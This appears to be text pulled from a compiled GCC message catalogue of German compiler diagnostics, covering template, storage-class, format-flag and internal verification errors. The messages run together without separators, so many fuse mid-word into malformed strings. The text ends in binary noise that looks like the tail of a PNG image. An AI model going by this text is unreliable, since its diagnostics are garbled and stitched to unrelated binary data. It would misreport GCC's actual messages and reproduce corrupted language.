zurückgebender FunktionReturn-Anweisung ohne Wert, in %qT zurückgebender FunktionRückgabe eines Wertes von einem KonstruktorWert von Destruktor zurückgegebenReferenz auf temporären Wert wird zurückgegebenrechte Präzisionrechte Präzision im strfmon-Formatrechter Rotationszähler >= Breite des Typsrechter Rotationszähler ist negativRechts-Schiebe-Weite >= Breite des TypsRechts-Schiebe-Weite ist negativRundungsmodus für VAX-Floats nicht unterstütztgleicher kanonischer Typknoten für die unterschiedlichen Typen %T und %T%<typename %E%> sagen, wenn ein Typ gemeint istskalares Objekt %qD erfordert ein Element in InitialisierungAblauf %<runtime%> akzeptiert keinen Parameter %<chunk_size%>Plan-Teilgrößenausdruck muss bestimmt seinzweites Argument von %q+D sollte %<char **%> seinZweites Argument für %<__builtin_prefetch%> muss eine Konstante seinzweiter Operand für Bedingungsoperator ist vom Typ %<void%>, aber der dritte Operand ist weder ein Throw-Ausdruck noch vom Typ %<void%>Zweiter Parameter von %<va_start%> ist nicht letztgenanntes ArgumentAbschnitts-Attribut nicht erlaubt für %q+DAbschnitt von %q+D in Konflikt mit vorheriger DeklarationWähler muss »immediate« seinSelektor eine Ganzzahlkonstante im Bereich 0..%wi seinKern-Dateigrößenlimit wird gesetzt: %müberschatten der %s Funktion %q#Dvorherige Typdeklaration von %q#D wird überschattetshared und mdll sind unverträglichGemeinsam genutztes call_stmt:Gemeinsames rtxSeiteneffekte werden bei ADDR_EXPR-Änderung nicht neu berechnetVorzeichenloser und -behafteter Typ in bedingtem AusdruckVorzeicheneigenschaft des Typen und Maschinenmodus %qs passen nicht zusammeneinfaches IF%qT zugewiesene Größe könnte ABI-unverträglich sein und sich in zukünftigen GCC-Versionen ändernGröße des Feldes bei »new« muss Ganzzahltyp habenGröße von %q+D ist %d BytesGröße von %q+D überschreitet %wd BytesFeldgröße von %qD hat nicht-ganzzahligen Typen %qTGröße des Feldes %qD ist negativGröße des Feldes %qD ist kein konstanter GanzzahlausdruckFeldgröße von %qs hat Nicht-GanzzahltypGröße des Feldes %qs ist negativFeldgröße von %qs ist zu großFeldgröße hat nicht-ganzzahligen Typen %qTGröße des Feldes ist negativGröße des Feldes ist kein konstanter GanzzahlausdruckFeldgröße ist zu großGröße der Schleife %d sollte %d sein, nicht %dGröße des Rückgabewertes von %q+D ist %u BytesGröße des Rückgabewertes von %q+D ist größer als %wd BytesGröße der Variablen %q+D ist zu hochsizeof(long double) ist 12sizeof(long double) ist 16soft-float und long-double-128 sind unverträglichnicht implementiert: Entschuldigung: Semantik der statischen Daten %q+#D der inline-Funktion ist falsch (mehrere Kopien wären die Folge)Spezifikation »%s« hat ungültiges »%%0%c«Spezifikation »%s« hat ungültiges »%%W%c«Spezifikation »%s« hat ungültiges »%%x%c«Spezifikation »%s« ist ungültigSpezifikation »%s« ist ungültigSpezifikationsfehler: »%%*« wurde nicht durch Mustererkennung initialisiertSpezifikationsfehler: mehr als ein Argument für SYSROOT_HEADERS_SUFFIX_SPECSpezifikationsfehler: mehr als ein Argument für SYSROOT_SUFFIX_SPECSpezifikationsfehler: nicht erkannte Option »%c«Spezifikationsdatei hat keine Spezifikation zum BindenSpezifikation ist '%s'

Spezialisierung %qT hinter Instanziierung %qTSpezialisierung von %qD nach InstanziierungSpezialisierung von %qD in anderem NamensbereichSpezialisierung von %qT hinter InstanziierungSpezialisierung der implizit deklarierten speziellen Elementfunktion%q#T wird in anderem Namensbereich spezialisiertangegebener Modus zu klein für AufzählungswerteAngabe von Vektortypen mit __attribute__ ((Modus)) ist veraltetfalsche %%include-Syntax für Spezifikationen nach %ld Zeichenfalsche %%rename-Syntax für Spezifikationen nach %ld Zeichenkeine %s-Spezifikation zum Umbenennen gefundenFehler in Spezifikationsdatei nach %ld ZeichenSpezifikation: unbekannter %%-Befehl nach %ld Zeichenstörendes letztes %<%%%> im FormatStapelrahmen ist kein Vielfaches von 8 Bytes: %wdStapelrahmen ist kein Vielfaches eines Octabytes: %wdStapelrahmen zu großStapel-Überwachungswert muss eine exakte Zweierpotenz seinAusdruck der Stapelgrenze wird nicht unterstütztKellergrenzen nicht für dieses Ziel unterstütztStack-Größe muss eine exakte Zweierpotenz seinStackgröße muss größer als der Stack-Überwachungswert seinStackgröße darf nicht größer als 64k seinStapelunterlauf - dup*-OperationStapelrahmen zu groß: %d BytesStandardumwandlungen sind in diesem Kontext nicht erlaubtAnweisung erzeugt einen Speicherzugriff, hat aber kein VDEFSAnweisung für throw inmitten eines Blockes markiertAnweisung für throw markiert, tut es jedoch nichtAnweisung ohne Effektstatisches %qs kann nicht als %<mutable%> deklariert seinstatische Behauptung gescheitert: %EStatische Deklaration von %q+D folgt nicht-statischer Deklarationstatic wird auf TPF-OS nicht unterstütztstatisches Element %qD kann kein Bitfeld seinstatisches Element %qD als %<register%> deklariertstatische Elementfunktion %q#D mit Typqualifizierern deklariertstatische Elementfunktion %qD kann nicht CV-Qualifizierer haben»static« oder Typkennzeichner in Nicht-Parameter-Felddeklaratorstatische Variable %q+D ist als »dllimport« markiertstatisch reservierte Instanz der Objective-C-Klasse %qsAttribute stdcall und cdecl sind nicht verträglichAttribute stdcall und fastcall sind nicht verträglichAnweisung (%p) nach Optimierungsdurchgang als geändert markiert: Speicherklasse %<__thread%> ungültig für Funktion %qsSpeicherklasse %<auto%> ungültig für Funktion %qsSpeicherklasse %<register%> ungültig für Funktion %qsSpeicherklasse %qD auf Templateinstanziierung angewendetSpeicherklasse %qs angegebenSpeicherklasse für Parameter %qs angegebenSpeicherklasse für Strukturfeld %qs angegebenSpeicherklasse für Typnamen angegebenSpeicherklassenangaben sind in friend-Funktionsdeklarationen ungültigSpeicherklassenangaben sind in Parameterdeklarationen ungültigSpeichergröße von %q+D ist nicht konstantSpeichergröße von %q+D ist unbekanntSpeichergröße von %qD ist nicht konstantSpeichergröße von %qD ist unbekanntverirrtes %<\%o%> im Programmverirrtes %qc im Programmverirrtes %qs im Programmstrftime-Formate können keine Argumente formatierenZeichenkettenlänge %qd ist größer als die Länge %qd, die von ISO-C%d-Compilern unterstützt werden mussstarkes »using« ist nur im Gültigkeitsbereich des Namensbereiches sinnvollZuweisung mit starker Typumwandlung wurde abgefangenMöglicherweise wird starke Typumwandlung benötigtstruct hat keine Elementestruct hat keine benannten ElementeStruktur %qD mit nicht initialisierten const-ElementenStruktur %qD mit nicht initialisierten ReferenzelementenStrukturausrichtung muss eine kleine Zweierpotenz sein, nicht %dGrenze für Strukturgröße kann nur auf %s gesetzt werdenUnter-Framework-Include %s steht mit Framework-Include in KonfliktIndex fehlt in Feldreferenzindizierter Wert ist weder ein Feld noch ein Zeigerindizierter Wert ist Zeiger auf FunktionIndizierung eines als %<register%> deklarierten Feldeses wird empfohlen, explizite geschweifte Klammern um leeren Körper in %<do%>-Anweisung zu setzenKlammern um %<>>%>-Ausdruck empfohlenUm Zuweisung, die als Wahrheitswert verwendet wird, werden Klammern empfohlenUnterstützung für Modus %qsSchalter %qs wird nicht mehr unterstütztSchalter »%s« beginnt nicht mit »-«Schalter -mcpu=%s steht in Konflikt mit dem Schalter -march=switch-Größe ist keine Ganzzahlswitch-Anweisung der Größe %lu Einträge zu großSystem-Pfad »%s« ist nicht absolutAdresse eines temporären Wertes wird ermitteltDas Ermitteln der Adresse einer Marke ist nicht standardkonformZiel-CPU unterstützt nicht ARM-ModusZiel-CPU unterstützt keine THUMB-BefehleZiel-CPU unterstützt keine ZusammenarbeitZielformat unterstützt nicht »unendlich«Zielsystem unterstützt keine TestausgabenZielsystem unterstützt nicht das Testformat "%s"Templateargument %d ist ungültigTemplateargument %qE betrifft TemplateparameterTemplateargument für %qD verwendet lokalen Typ %qTTemplate-Argument für %<%s %T%> benötigtTemplate-Argumente für %qD passen nicht zum ursprünglichen Template %qDTemplateklasse ohne NamenTemplatedeklaration von %q#DTemplate-Definition eines Nicht-Templates %q#DTemplate-Header in Elementdefinition einer explizit spezialisierten Klasse nicht erlaubtInstanziierungstiefe für Templates überschreitet Höchstwert %d (-ftemplate-depth-NN verwenden, um dies zu erhöhen) bei Instanziierung von %qDInstanziierungstiefe für Templates überschreitet Höchstwert %d (-ftemplate-depth-NN verwenden, um dies zu erhöhen) bei Instanziierung von %q+D, möglicherweise von Erzeugung der virtuellen TabelleTemplate-Parameter %q+#DTemplateparameter %qD vom Typ %qT ist in ganzzahligem Konstantenausdruck nicht erlaubt, da er nicht Ganzzahl- oder Aufzählungstyp hatTemplateparameterliste in expliziter Instanziierung verwendetTemplate-Parameter-Typ %qT als %<friend%> deklariertTemplate-Parameter können keine »friends« seinTemplate-Parameter passen nicht zum Templatenicht in partieller Spezialisierung verwendete Templateparameter:keine Templatespezifizierer in Deklaration von %qD angegebenTemplatetypparameter müssen das Schlüsselwort %<class%> oder %<typename%> verwendenTemplate-ID %qD für %q+D passt zu keiner TemplatedeklarationTemplate-ID %qD in Deklaration des ersten TemplatesTemplate-ID %qD als Deklarator verwendetdiese spezielle Option -g ist mit -maout und -melinux ungültigdie Architektur %qs unterstützt keine Befehle mit Sprungwahrscheinlichkeitdie Architektur %qs unterstützt keine paarweisen Einzel-Befehledas » «-printf-Kennzeichendas »!«-strfmon-Kennzeichendas »#«-printf-Kennzeichendas »#«-strftime-KennzeichenArgumente »%s« und »%s« des intrinsischen »%s« bei %L müssen von der selben Art %d/%d seinArgumente »%s« und »%s« des intrinsischen »%s« bei %L müssen den selben Rang %d/%d habendas »'«-printf-Kennzeichendas »'«-scanf-Kennzeichendas »(«-strfmon-Kennzeichendas »+«-printf-Kennzeichendas »+«-strfmon-Kennzeichendas »-«-printf-Kennzeichendas »-«-strfmon-Kennzeichendas »-«-strftime-Kennzeichendas »0«-printf-Kennzeichendas »0«-strftime-Kennzeichender »E«-strftime-Modifiziererdas »I«-printf-Kennzeichendas »I«-scanf-Kennzeichender »O«-Modifiziererder »O«-strftime-Modifiziererdas »^«-strfmon-Kennzeichendas »^«-strftime-Kennzeichendas »_«-strftime-Kennzeichendas »a«-scanf-Kennzeichendas »m«-scanf-Kennzeichendas »q«-Diagnose-KennzeichenDie Option -shared wird derzeit nicht für VAX ELF unterstütztDie Adresse von %qD wird immer zu %<wahr%> auswertenDie Adresse von %qD wird nie NULL seindas scanf-Merkmal der Zuweisungsunterdrückungdas Standardargument für den Parameter %d von %qD wurde noch nicht gelesenArgument 5 muss ein 8-Bit-Immediate seinder erste Parameter von %<operator_new%> kann nicht das Standardargument habender m210 hat keine Little-Endian-Unterstützungder verarbeitete Name von %qD« wird sich in einer zukünftigen Version des GCC ändernder Versatz von %qD könnte ABI-unverträglich sein und sich in einer zukünftigen GCC-Version änderndie Größe des Feldes %qs kann nicht ausgewertet werdendie Größe eines Feldes kann nicht ausgewertet werdenArgument 3 muss ein 8-Bit-Immediate seinder zerstörte Typ ist %qT, aber der Destruktor verweist auf %qTder Typ von »%s« bei %C wurde nicht innerhalb der Schnittstelle deklariertes gibt keine Argumente für %qD, die von einem Templateparameter abhängen, weshalb eine Deklaration von %qD verfügbar sein mussdrittes Argument von %q+D sollte wahrscheinlich %<char **%> seinDrittes Argument für %<__builtin_prefetch%> muss eine Konstante seindritter Operand für Bedingungsoperator ist vom Typ %<void%>, aber der zweite Operand ist weder ein Throw-Ausdruck noch vom Typ %<void%>diese eingebaute Funktion ist nur auf dem fr405 und fr450 verfügbardiese eingebaute Funktion ist nur auf dem fr450 verfügbardiese eingebaute Funktion ist nur auf dem fr500 und fr550 verfügbardies kann zu schlecht optimiertem Code führendiese Dezimalkonstante ist nur in ISO-C90 vorzeichenlosdiese Dezimalkonstante wäre in ISO-C90 vorzeichenlosdies ist der Befehl:diese Medienfunktion ist nur auf dem fr400 und fr550 verfügbardiese Medienfunktion ist nur auf dem fr500 verfügbardieses Ziel unterstützt nicht %qsdiese Zielmaschine hat keine verzögerten ZweigeThread-lokale COMMON-Daten nicht implementiertThread-lokale Deklaration von %q+D folgt nicht-Thread-lokaler Deklarationwirft NULL, was ganzzahlig, aber kein Zeigertyp istZeit in %s: %ld.%06ld (%ld%%)
Argument für tls_model muss »local-exec«, »initial-exec«, »local-dynamic« oder »global-dynamic« seinArgument für tls_model ist keine Zeichenketteum Abhängigkeiten zu erzeugen, müssen Sie entweder -M oder -MM angebenum auf ein Typelement eines Templateparameters zu verweisen, %<typename %E%> verwendenzu wenig Argumente für Formatzu wenige Argumente für %%:version-comparezu wenige Argumente für %s %q+#Dzu wenige Argumente für FunktionZu wenige Argumente für %<va_start%>Zu wenige Argumente für Funktion %qEzu wenige Templateparameterlisten in Deklaration von %qDzu großer Funktionswerttyp, benötigt %d Register, aber nur %d stehen zur Verfügungzu spät für »#«-Direktive, um Debug-Verzeichnis festzulegenzu viele #pragma options align=resetzu viele %qs-Klauselnzu viele Alternativen in %<asm%>zu viele Argumente für Formatzu viele Argumente für %%:version-comparezu viele Argumente für %s %q+#Dzu viele Argumente für Funktionzu viele Argumente für Funktion %qEZu viele Argumente für überladene Funktion %szu viele Dateinamen angegeben. Für Hilfe »%s --help« eingebenzu viele Initialisierer für %qTzu viele Eingabedateienzu viele abgehende Zweig-Kanten vom bb %izu viele Templateparameterlisten in Deklaration von %qDZu viel Stapelspeicher zu entsorgen: %dZu viel Stapelspeicher vorzubereiten: %dDeklaration höchster Ebene von %qs gibt %<auto%> anGesamtgröße der lokalen Variablen übersteigt Grenze der Architekturtraditionelles C lehnt automatische Gesamt-Initialisierung abtraditionelles C lehnt Initialisierung von unions abtraditionelles C weist Zeichenkettenkonstantenverkettung zurückKeine Trampoline unterstütztVariable »%s« bei %L kann nicht in einem Initialisierungs-Ausdruck auftretenTrap-Modus für VAX-Floats nicht unterstütztTrap-Modus für Unicos/Mk nicht unterstütztBaumprüfung: %s, haben %s in %s, bei %s:%dBaumprüfung: auf Elt %d von tree_vec mit %d Elts in %s bei %s:%d zugegriffenBaumprüfung: auf Operand %d von %s mit %d Operanden in %s bei %s:%d zugegriffenBaumprüfung: auf Operand %d von omp_clause %s mit %d Operanden in %s bei %s:%d zugegriffenBaumprüfung: Klasse %qs nicht erwartet, haben %qs (%s) in %s, bei %s:%dBaumprüfung: Klasse %qs erwartet, haben %qs (%s) in %s, bei %s:%dBaumprüfung: nichts von %s erwartet, haben %s in %s, bei %s:%dBaumprüfung: omp_clause %s erwartet, haben %s in %s, bei %s:%dBaumprüfung: Baum mit enthaltener Struktur %qs erwartet, haben %qs in %s, bei %s:%dBaumliste endet bei Tiefe %iversuchen Sie, die Anzahl der lokalen Variablen zu verringernKlammern um die Type-ID sollten entfernt werdenstattdessen %qE verwendenLesen der struct konnte wegen Syntaxfehlern nicht beendet werdenVersuch, die Klasse %qT zu einem »friend« des globalen Gültigkeitsbereiches zu machenzwei oder mehr Datentypen in Deklaration von %qszwei oder mehr Datentypen in DeklarationArgument vom Typ %q#T wurde an %<delete%> übergeben, Zeiger erwartetTyp %q+D hat keine bekannte GrößeTyp %qT für explizite Instanziierung %qD passt nicht zum deklarierten Typ %qTTyp %qT ist in Javas %<throw%> oder %<catch%> nicht erlaubtTyp %qT ist kein Basistyp für Typ %qTTyp %qT ist keine direkte Basis von %qTTyp %qT ist keine direkte oder virtuelle Basis von %qTTyp %qT ist nicht von %<java::lang::Throwable%> abgeleitetTyp %qT ist nicht vom Typ %qT abgeleitetTyp %qT des Templatearguments %qE hängt von Templateparameter(n) abTyp %qs hat einen benutzerdefinierten KonstruktorTyp %qs hat einen benutzerdefinierten DestruktorTyp %qs hat keinen Standard-Konstruktorder Typ %qs hat virtuelle ElementfunktionenTypattribute ignoriert, nachdem Typ bereits definiert ist%<int%> ist Standardtyp in Deklaration von %qsTyp ist veraltetTyp ist veraltet (in %s:%d deklariert)Unpassende Typen für SSA_NAME und sein SymbolTyp passt nicht in AdressausdruckTyp passt nicht in FeldbereichsreferenzTyp passt nicht in FeldreferenzTyp passt nicht in binärem AusdruckTyp passt nicht in binärem WahrheitsausdruckTyp passt nicht in VergleichsausdruckTyp passt nicht in komplexem AusdruckTyp passt nicht in KomponentenreferenzTyp passt nicht in bedingtem AusdruckTyp passt nicht in indirekter ReferenzTyp passt nicht in PointeradditionsausdruckTyp passt nicht in Referenz auf realen/imaginären Anteil Typ passt nicht in SchiebeausdruckTypen passen nicht zu vorheriger externer Deklaration von %q#DTyp von %q+D ist auf %<int%> voreingestelltTyp von %qE ist unbekanntTyp des Feldes %q+D vervollständigt Unverträglichkeit mit impliziter InitialisierungTyp des asm-Operanden %qE konnte nicht ermittelt werdenTyp des Bitfeldes %qs ist eine Erweiterung des GCCTyp des formalen Parameters %d ist unvollständigTypkennzeichner an Funktions-Rückgabewert ignoriertTypkennzeichner für friend-Klassen-Deklaration angegebendie Typgröße kann nicht explizit ausgewertet werdenTyp für Vektor-»delete« ist weder Zeiger- noch FeldtypType-Punning auf unvollständigen Typen kann strict-aliasing-Regeln verletzenTyp/Wert des Arguments %d passt nicht in Template-Parameterliste für %qDtypedef %q+D als %<inline%> deklarierttypedef %qD ist initialisiert (stattdessen lieber __typeof__ verwenden)»typedef«-Deklaration in Parameterdeklaration ungültigTypen nicht ganz kompatibelWirkliche Stelle des gestapelten Parameters kann nicht berechnet werden%qs kann nicht emuliert werdenin Klasse %qs konnte kein Register für Überlauf gefunden werdenNeuladungen konnten nicht generiert werden für:dynamische Abhängigkeit »%s« kann nicht geöffnet werden»%s« kann nicht für PIC-Register verwendet werdenunbedingtes %2d niemals ausgeführt
unbedingtes %2d, genommen: %s
nicht deklarierter Selektor %qsbenannter Operand %qs ist nicht definiertUnterlauf im virtuellen Feld %s in %s bei %s:%dunerwarteter Basistyp in cris_print_baseunerwarteter Indextyp in cris_print_indexunerwarteter multiplikativer Operandunerwarteter Operandunerwartete Seiteneffekte in Adressenicht implementierte Funktionalitätnicht implementiertes SHmedia-Profilingnicht initialisiertes const %qDnicht initialisierte Konstante in %<new%> von %q#Tnicht initialisiertes konstantes Element %qDunion kann nicht transparent gemacht werdenUnion hat keine ElementeUnion hat keine benannten Elementeunbekannte Option für -m%s= angegeben: »%s«unbekannte Option -malign-XXXXX angegeben: »%s«unbekannter Schalter -mdebug-%sunbekanntes Argument %qs für -mtraceback; %<full%>, %<partial%> oder %<none%> erwartetunbekanntes ABI angegeben: »%s«unbekannte CRIS-CPU-Versionsangabe in -mtune= : %sunbekannte CRIS-Versionsangabe in -march= oder -mcpu= : %sunbekannte Aktion %qs für %<#pragma pack%> - ignoriertunbekannte Feldgröße in »delete«Unbekannter Wert für cc_attrunbekanntes Konvertierungstyp-Zeichen %qc im Formatunbekanntes Konvertierungstyp-Zeichen 0x%x im Formatunbekannter Aufbereitungszustand »%s«unbekanntes Feld %qE in Initialisierung angegebenunbekannter BefehlsmodusUnbekannter Maschinenzustand %qsFalscher Kopierbefehl:unbekannter Operator »%s« in %%:version-compareOption hinter %<#pragma GCC diagnostic%> Art unbekanntunbekannter Registername %qs in %<asm%>unbekannter Registername: %sUnbekanntes relocation unspecunbekannte Spezifikationsfunktion »%s«unbekanntes tls-Modell »%s«unbenannte Initialisierung für %qT, das keine Basisklassen hatunbenannte Initialisierung für %qT, das Mehrfachvererbung verwendetUnbenannte struct/union, die keine Instanzen definiertunbenannte Variable oder Feld als »void« deklariertunnötige EH-Kante %i->%iungeordneter Vergleich mit Nicht-Gleitkomma-Argumentunerreichbarer Bytecode von %d bis vor %dunerreichbarer Bytecode von %d bis an's Ende der Methodenicht erkannter breiter TeilbefehlTestausgabestufe »%s« nicht erkanntunerkennbarer Befehl:unerkannte Adressenicht erkannte Kommandozeilenoption »%s«unerkannte FormatangabeGCC-Debuggingoption nicht erkannt: %cnicht erkanntes include_flags 0x%x an print_specific_help weitergegebennicht erkannte Option »-%s«unbekannter Registername: "%s"nicht erkannter Abschnittsname »%s«unerkannte vermutete Konstanteunbekannter Sichtbarkeitswert "%s"nicht behebbarer Fehlerungelöste Überladung des eingebauten Altivec %qFNicht unterstütztes Argument für %<__builtin_frame_address%>Nicht unterstütztes Argument für %<__builtin_return_address%>nicht unterstützte Kombination: %snicht unterstützter Nicht-Standard-Suffix an Gleitkommakonstantenicht unterstützte Operandengröße für erweitertes Registerunbeendete Assemblerdialekt-Alternativeunbeendete Formatzeichenketteunbenutzte Argumente in $-Stil-Formatunbenutzter Parameter %q+DVariable %q+D wird nicht verwendetAbwicklungstabellen erfordern derzeit einen Rahmenzeiger für KorrektheitOberer Wert in case-Marken-Bereich überschreitet den Maximalwert des Typsstattdessen #include verwenden%<%T::%D%> statt %<%T::%D%> verwenden, um den Konstruktor mit qualifiziertem Namen zu benennen%<%T::template %D%> verwenden, um dies als Template zu kennzeichnen%<-fobjc-exceptions%> verwenden, um Syntax für Objective-C-Ausnahmen einzuschalten%<...%> verwenden, um Argumentpack aufzulösen-Winvalid-pch für weitere Informationen verwenden-flax-vector-conversions verwenden, um Umwandlung zwischen Vektoren mit unterschiedlichen Elementtypen oder Anzahl der Teile zu erlaubenStattdessen __attribute__ ((Vektorgröße)) verwendenVerwendung einer %<auto%>-Variable aus enthaltender FunktionVerwendung von %<complex%> in AltiVec-Typen ist ungültigVerwendung von %<double%> in AltiVec-Typen ist ungültigVerwendung von %<long double%> in AltiVec-Typen ist ungültigVerwendung von %<long long%> in AltiVec-Typen ist ungültigVerwendung von %<long%> in AltiVec-Typen ist veraltet; %<int%> verwendenVerwendung von %<long%> in AltiVec-Typen ist für 64-Bit-Code ungültigVerwendung von %qs in TemplateVerwendung des %qs-Längenmodifizierers mit %qc-Typ-Zeichengleichzeitige Verwendung von %s und %s im Format %sVerwendung von %s und %s zusammen mit Format %<%%%c%> %sVerwendung boolescher Typen in AltiVec-Typen ist ungültigVerwendung des Klassentemplates %qT als AusdruckVerwendung dezimaler Gleitkommatypen in AltiVec-Typen ist ungültigVerwendung des enum %q#D ohne vorherige Deklarationdie Verwendung einer Speichereingabe ohne L-Wert in asm-Operand %d ist veraltetVerwendung des Namensbereiches %qD als AusdruckVerwendung einer Typumwandlung im alten Stiltemplate<> für eine explizite Spezialisierung verwendenFeld, das nicht in Zeiger umgewandelt werden kann, anstelle des geforderten Skalars verwendetWert eines struct-Typs anstelle des geforderten Skalars verwendetWert eines union-Typs anstelle des geforderten Skalars verwendetNutzloses %<__thread%> in leerer DeklarationNutzlose Speicherklassenangabe in leerer DeklarationNutzloser Typname in leerer DeklarationNutzloser Typqualifizierer in leerer Deklarationbenutzerdefiniertes %qD wertet immer beide Argumente aus%<typename%> außerhalb des Templates verwendetVerwendung von @FILE mit mehreren Dateien ist nicht implementiertUsing-Deklaration %q+D in Konflikt mit vorheriger using-Deklarationungültiges Feld %qD wird verwendetTemplatetyp-Parameter %qT wird nach %qs verwendettypedef-Name %qD wird nach %qs verwendet»using«-Deklaration für Nicht-Element im Gültigkeitsbereich der Klassevalidate_value_data: Zyklus in regno-Kette (%u)validate_value_data: [%u] Falsches next_regno für leere Kette (%u)validate_value_data: [%u] Falsches oldest_regno (%u)validate_value_data: [%u] Nicht leeres Register in Kette (%s %u %i)berechneter Wert ist unbenutztWert von -mfixed-range muss die Form REG1-REG2 habenan %<-m%s%> übergebener Wert ist zu großWert-Initialisierung von ReferenzVariable %q#D hat Initialisierung, aber unvollständigen TypVariable %q+D als %<inline%> deklariertVariablendefinition von %q+D ist als dllimport markiertVariable %q+D könnte von »longjmp« oder »vfork« zerstört werdenVariable %qD hat FunktionstypVariable %qD hat Initialisierung, aber unvollständigen TypVariable in call_clobbered_vars, aber nicht als call_clobbered markiertFeld %qD variabler Länge wird verwendetFeld %qs variabler Größe wird verwendetFeld variabler Größe wird verwendetVariable als call_clobbered markiert, aber nicht in call_clobbered_vars bitmap.Variable oder Feld %qE als »void« deklariertVariable oder Feld %qs als void deklariertVariable oder Feld als »void« deklariertals %<extern%> redeklarierte Variable war bereits als %<static%> deklariertVariablenverfolgung angefordert, jedoch nicht von diesem Debug-Format unterstütztVariablenverfolgung angefordert, jedoch nutzlos ohne Debug-InfoTyp mit variabler Größe wurde außerhalb einer Funktion definiertObjekt %qD variabler Größe kann nicht initialisiert werdenObjekt variabler Größe darf nicht initialisiert werdenvariabel modifiziertes %qs im DateibereichBereichsfehler im Vektor %s %s, in %s bei %s:%uVektorüberlauf in AusdruckVektorgröße kein ganzzahliges Vielfaches der KomponentengrößePrüfung bei PC=%d gescheitert: %sPrüfung gescheitert: %sverify_call_clobbering gescheitertverify_cgraph gescheitertverify_eh_tree gescheitertverify_flow_info gescheitertverify_flow_info: Nachfolgekante des Basis-Blocks %d ist beschädigtverify_flow_info: Block %i hat loop_father, aber es gibt keine Schleifenverify_flow_info: Block %i fehlt loop_fatherverify_flow_info: Doppelte Kante %i->%iverify_flow_info: Falsche Blöcke für »fallthru« %i->%iverify_flow_info: Falsches »fallthru« %i->%iverify_flow_info: REG_BR_PROB passt nicht zu cfg %wi %iverify_flow_info: Falsche Blockzahl %i %iverify_flow_info: Falsche Kantenzahl %i->%i %iverify_flow_info: Falsche Blockfrequenz %i %iverify_flow_info: Falsche Wahrscheinlichkeit der Kante %i->%i %iverify_flow_insensitive_alias_info gescheitertverify_flow_sensitive_alias_info gescheitertverify_gimple gescheitertverify_histograms gescheitertverify_memory_partitions gescheitertverify_ssa gescheitertverify_stmts gescheitertVersionsattribut ist keine Zeichenkettevirtuelles Feld %s[%lu]: Element %lu außerhalb der Grenzen in %s, bei %s:%dvirtuelle Basis %qT ist in %qT durch Mehrdeutigkeit unzugänglichvirtuelle Funktionen können keine friends seinvirtuelle Nicht-Klassen-Funktion %qsSichtbarkeitsargument muss »default«, »hidden«, »protected« oder »internal« seinSichtbarkeitsargument ist keine ZeichenketteSichtbarkeitsattribute werden in dieser Konfiguration nicht unterstützt; ignoriertvoid-Wert nicht ignoriert wie es sein solltevolatile muss für jeden Speicher angegeben werden, der von DMA beeinflusst wirdvtable-Anordnung für Klasse %qT könnte ABI-unverträglich sein und sich in zukünftigen GCC-Versionen durch implizite virtuelle Destruktoren ändernWarnung: Warnung: »-x %s« hinter letzter Eingabedatei hat keine WirkungWarnung: -pipe ignoriert, da -save-temps angegebenWarnung: bereits kompilierte .class-Dateien mit -C ignoriertWarnung: Verwendung des veralteten Operators %%[ in Spezifikationschwache Deklaration von %q+D nach erster Benutzung führt zu undefiniertem Verhaltenschwache Deklaration von %q+D muss öffentlich seinschwache Deklaration von %q+D muss der Definition vorangehenschwache Deklaration von %q+D wird nicht unterstütztschwache Referenz %q+D muss statische Bindung habenweakref %q+D zielt letztendlich auf sich selbst abbeim Schreiben der Ausgabe nach %s: %mBreite von %q+D übersteigt seinen TypenBreite von %qs überschreitet dessen Typenwerden als %<id%> zurückgebend angenommen und akzeptierenmit %q+#Din diesem ZusammenhangSchreiben in konstantes Objekt (Argument %d)Schreiben über Null-Zeiger (Argument %d)falsche Summe der Zweig-Kanten nach bedingtem Sprung %ifalscher Betrag der Zweig-Kanten nach unbedingtem Sprung %iFalsche Kante %d->%d für PHI-ArgumentFalsche Liste zur sofortigen Verwendungfalscher Befehl in »fallthru«-KanteFalsche Anzahl an Argumenten für das Attribut %qs angegebenfalsche Anzahl der Argumente für Funktion %<__builtin_next_arg%>falsche Anzahl der Argumente für Funktion %<va_start%>falsche Anzahl der Templateargumente (%d, sollte %d%s sein)falsche Anzahl der Templateargumente (%d, sollte %d sein)Falsche ausgehende Kantenmarken am Ende des bb %dArgument falschen Typs für absArgument falschen Typs für Bit-KomplementArgument falschen Typs für KonjugationArgument falschen Typs für DekrementierungArgument falschen Typs für InkrementierungArgument falschen Typs für unäres AusrufungszeichenArgument falschen Typs für unäres MinusArgument falschen Typs für unäres Plusx87-Registerrückgabe mit ausgeschaltetem x87xstormy16_print_operand: unbekannter Codez/Architekturz/Architektur-Modus nicht unterstützt auf %sFeldgröße von %q+D ist null oder negativVektorgröße NullBreite Null für Bitfeld %q+DBreite Null für Bitfeld %qsBreite null im Format %sFormat-Zeichenkette %s der Länge nullFeld %qD der Größe null
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`